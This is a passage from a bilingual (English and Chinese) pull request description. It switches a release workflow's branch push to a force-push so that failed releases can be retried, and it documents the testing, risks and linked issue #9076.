git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags→+ <old>...<new> release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (forced update), and a fresh clone shows the remote branch carries the new head plus the bump commit.Tested on
Environment (optional)
Linux GitHub Actions runner (ubuntu). Verification was local git-topology reproduction, YAML/bash syntax checks, and the repository's script test suite plus build/typecheck/lint gates; no real release was triggered.
Risk & Scope
release/<tag>branch. This is safe under the current flow (a version with no npm package, tag, or release cannot have shipped, so the branch can only hold a stale bump commit), but it relies on that invariant; if a future change moves publishing before the version-existence check, this assumption must be revisited.release-sdk.yml's stable push but was not failing here and is left untouched. The queued/in-flight retries dispatched before this change merges still carry the old command; the next dispatch from a ref containing this fix unblocksv0.21.12-preview.0automatically.Linked Issues
Fixes #9076
中文说明
本 PR 做了什么
发布(release)的 publish 任务现在对每个发布分支(
release/<tag>)执行强制推送(force-push),而不再是普通推送。当同一版本更早的一次尝试在推送该分支之后失败时,陈旧分支会留在远端;之后每次重试都会在 "Commit and Conditionally Push package versions" 步骤死于 non-fast-forward 拒绝,因为重试新建的版本 bump 提交与陈旧 tip 已经分叉。改为强制推送后,重试会直接替换陈旧分支,发布得以继续。同时在 release-workflow 脚本测试中加入了固定测试(pin),防止该命令被悄悄改回。为什么需要
这正是 issue #9076 中
v0.21.12-preview.0发布被卡住的原因。Run 863 推送了release/v0.21.12-preview.0,随后在 "Build Standalone Archives" 失败。修复提交落到特性分支后,重新触发的 run 864 计算出相同版本(这是正确的 —— 尚无任何发布产物),在新 head 上提交了新的 bump,却在推送时被拒绝,因为远端分支仍指向 run 863 的分叉 bump 提交。发布版本计算逻辑在 npm 包、git tag 或 GitHub release 已存在时会自动递增版本,因此能以不变版本走到此推送就意味着该版本没有任何发布产物 —— 陈旧分支上只可能有上一次的 bump 提交,替换它是安全的。没有本修复,任何在分支推送之后失败的首次发布都无法重试,除非有人手动删除远端分支。审阅者测试计划
如何验证
事故本身是 GitHub Actions 的推送拒绝,无法在单元测试中原样重放,因此验证方式为精确 git 拓扑的本地重建加上仓库的 lint/测试门禁:
git ls-remote origin 'refs/heads/release/v0.21.12-preview.0'可见失败 run 863 留下的陈旧分支,且不存在任何v0.21.12*tag,说明没有任何发布产物。release/v0.21.12-preview.0bump 分支;再 clone、推进 head、重建分支并提交新的 bump,然后推送。旧命令(git push --set-upstream origin <branch>)报! [rejected] ... (non-fast-forward)—— 与事故完全相同的错误;新命令(git push --force --set-upstream origin <branch>)以(forced update)成功,且远端分支携带新 head 与 bump。npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/release-workflow.test.js—— 全部通过,包含新增的固定测试。IS_DRY_RUN == "false"分支内),且首次发布不受影响(强制推送不存在的引用会直接创建它)。证据(修改前后)
N/A —— CI workflow 修改,无用户可见/TUI 行为。
修改前:
git push --set-upstream origin "${BRANCH_NAME}" --follow-tags→ 在任何"失败尝试已推送分支"之后的重试中报! [rejected] release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (non-fast-forward)(在本地拓扑场景中复现;与 run 864 失败步骤一致)。修改后:
git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags→+ <old>...<new> release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (forced update),全新 clone 显示远端分支携带新 head 与 bump 提交。测试环境
环境(可选)
Linux GitHub Actions runner(ubuntu)。验证方式为本地 git 拓扑复现、YAML/bash 语法检查,以及仓库脚本测试套件和 build/typecheck/lint 门禁;未触发真实发布。
风险与范围
release/<tag>分支。在当前流程下是安全的(无 npm 包、tag、release 的版本不可能已发布,分支上只可能有陈旧 bump 提交),但该结论依赖这一不变量;若未来有改动把发布动作移到版本存在性检查之前,需要重新审视此假设。release-sdk.yml的 stable 推送存在同样的普通推送模式,但本次事故不涉及,未改动。在本修改合入前已排队/运行中的重试仍携带旧命令;从包含本修复的 ref 触发的下一次发布将自动解除v0.21.12-preview.0的阻塞。关联 Issue
Fixes #9076